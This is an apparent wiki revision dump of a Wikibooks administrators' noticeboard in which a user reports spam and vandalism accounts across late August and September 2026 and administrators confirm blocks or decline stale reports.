[[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:40, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:47, 15 September 2026 (UTC) == Mehedii1234 reported by MathXplore == * {{userlinks|Mehedii1234}} Spam <!-- USERREPORTED:/Mehedii1234/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:42, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:46, 15 September 2026 (UTC) == BhardwajGardening reported by MathXplore == * {{userlinks|BhardwajGardening}} Link spam, [[Special:AbuseLog/315583]] <!-- USERREPORTED:/BhardwajGardening/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) == Manusheikh reported by MathXplore == * {{userlinks|Manusheikh}} Link spam, [[Special:AbuseLog/315575]] <!-- USERREPORTED:/Manusheikh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:03, 17 September 2026 (UTC) :{{done|Blocked}} —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:35, 17 September 2026 (UTC) == Wrankerseo reported by MathXplore == * {{userlinks|Wrankerseo}} Link spam, [[Special:AbuseLog/315564]], [[Special:AbuseLog/315567]], [[Special:AbuseLog/315563]] <!-- USERREPORTED:/Wrankerseo/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:05, 17 September 2026 (UTC) :{{done|Blocked}} —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:35, 17 September 2026 (UTC) hu2apegm794swqli6e9raaptmn2zb22 4670654 4670653 2026-09-17T13:36:46Z Kittycataclysm 3371989 /* BhardwajGardening reported by MathXplore */ Reply 4670654 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. You can request assistance from [[WB:ADMIN|administrators]] for handling a variety of problems here and alert them about problems which may require special actions not normally used during regular content editing. Please be patient as administrators are often quite busy with either their own projects or trying to perform general maintenance and cleanup. You can deal with most vandalism yourself: [[Wikibooks:Dealing with vandalism|fix it]], then [[Wikibooks:Templates/User_notices|warn the user]]. If there is repeated vandalism by one user, lots of vandalism on a single page, or vandalism from many users, tell an admin here, or in [irc://irc.freenode.net/wikibooks #wikibooks] (say <code>!admin</code> to get attention). For more general questions and assistance that doesn't require an administrator, please use the [[WB:HELP|Assistance Reading Room]]. {{clear}} [[Category:Reading room]] == Gloriagulshan reported by MathXplore == * {{userlinks|Gloriagulshan}} [[:w:Wikipedia:Sockpuppet investigations/Kagoz]] ([[Special:Contributions/Tikapara]], [[Wikibooks:Reading_room/Administrative_Assistance/Archives/2025/September#Tikapara_reported_by_MathXplore]]), created page [[Introduction to Filmmaking]] Contributed by Ali Zulfikar Zahedi ([[:w:Ali Zulfikar Zahedi]], [[:w:simple:Ali Zulfikar Zahedi]]) <!-- USERREPORTED:/Gloriagulshan/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 03:56, 29 August 2026 (UTC) :I believe this page is intended as instructional material for learning filmmaking rather than as an encyclopedic article. I will revise the page to focus on practical filmmaking concepts, methods, and processes in accordance with the purpose of Wikibooks. [[User:Gloriagulshan|Gloriagulshan]] ([[User talk:Gloriagulshan|discuss]] • [[Special:Contributions/Gloriagulshan|contribs]]) 04:20, 29 August 2026 (UTC) : Cc: {{ping|SHB2000|MarcGarver}} [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:41, 29 August 2026 (UTC) ::I see the account is glocked, and there are no sleepers that aren't already locked, so nothing more to do. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:18, 3 September 2026 (UTC) == Mohansai00116 reported by MathXplore == * {{userlinks|Mohansai00116}} Link spam, [[Special:AbuseLog/315335]] <!-- USERREPORTED:/Mohansai00116/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:09, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:04, 3 September 2026 (UTC) == Fatemai6 reported by MathXplore == * {{userlinks|Fatemai6}} Link spam, [[Special:AbuseLog/315329]] <!-- USERREPORTED:/Fatemai6/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:10, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan147 reported by MathXplore == * {{userlinks|Kamrulhasan147}} Link spam, [[Special:AbuseLog/315327]], [[Special:Contributions/Kamrulhasan142]] <!-- USERREPORTED:/Kamrulhasan147/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:12, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan142 reported by MathXplore == * {{userlinks|Kamrulhasan142}} Link spam, [[Special:AbuseLog/315295]], [[Special:Contributions/Kamrulhasan147]] <!-- USERREPORTED:/Kamrulhasan142/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:13, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Twenty7incgs reported by MathXplore == * {{userlinks|Twenty7incgs}} Link spam, [[Special:AbuseLog/315323]] <!-- USERREPORTED:/Twenty7incgs/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:14, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Tailleash reported by MathXplore == * {{userlinks|Tailleash}} Link spam, [[Special:AbuseLog/315318]] <!-- USERREPORTED:/Tailleash/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:15, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Md Akash Mia12 reported by MathXplore == * {{userlinks|Md Akash Mia12}} Link spam, [[Special:AbuseLog/315299]], [[Special:AbuseLog/315298]] <!-- USERREPORTED:/Md Akash Mia12/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:17, 2 September 2026 (UTC) : {{done|Page deleted}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:03, 3 September 2026 (UTC) == Vapesitefiftybar reported by MathXplore == * {{userlinks|Vapesitefiftybar}} Link spam, [[Special:AbuseLog/315338]] <!-- USERREPORTED:/Vapesitefiftybar/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:40, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:47, 15 September 2026 (UTC) == Mehedii1234 reported by MathXplore == * {{userlinks|Mehedii1234}} Spam <!-- USERREPORTED:/Mehedii1234/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:42, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:46, 15 September 2026 (UTC) == BhardwajGardening reported by MathXplore == * {{userlinks|BhardwajGardening}} Link spam, [[Special:AbuseLog/315583]] <!-- USERREPORTED:/BhardwajGardening/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) :{{done|Blocked}} —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:36, 17 September 2026 (UTC) == Manusheikh reported by MathXplore == * {{userlinks|Manusheikh}} Link spam, [[Special:AbuseLog/315575]] <!-- USERREPORTED:/Manusheikh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:03, 17 September 2026 (UTC) :{{done|Blocked}} —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:35, 17 September 2026 (UTC) == Wrankerseo reported by MathXplore == * {{userlinks|Wrankerseo}} Link spam, [[Special:AbuseLog/315564]], [[Special:AbuseLog/315567]], [[Special:AbuseLog/315563]] <!-- USERREPORTED:/Wrankerseo/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:05, 17 September 2026 (UTC) :{{done|Blocked}} —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:35, 17 September 2026 (UTC) ak6tqu0xw9o489yi5f0i5lz1cz838dd 4670878 4670654 2026-09-18T08:10:23Z ArchiverBot 1227662 Bot: Archiving 9 threads (older than 14 days) to [[Wikibooks:Reading room/Administrative Assistance/Archives/2026/September]] 4670878 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. You can request assistance from [[WB:ADMIN|administrators]] for handling a variety of problems here and alert them about problems which may require special actions not normally used during regular content editing. Please be patient as administrators are often quite busy with either their own projects or trying to perform general maintenance and cleanup. You can deal with most vandalism yourself: [[Wikibooks:Dealing with vandalism|fix it]], then [[Wikibooks:Templates/User_notices|warn the user]]. If there is repeated vandalism by one user, lots of vandalism on a single page, or vandalism from many users, tell an admin here, or in [irc://irc.freenode.net/wikibooks #wikibooks] (say <code>!admin</code> to get attention). For more general questions and assistance that doesn't require an administrator, please use the 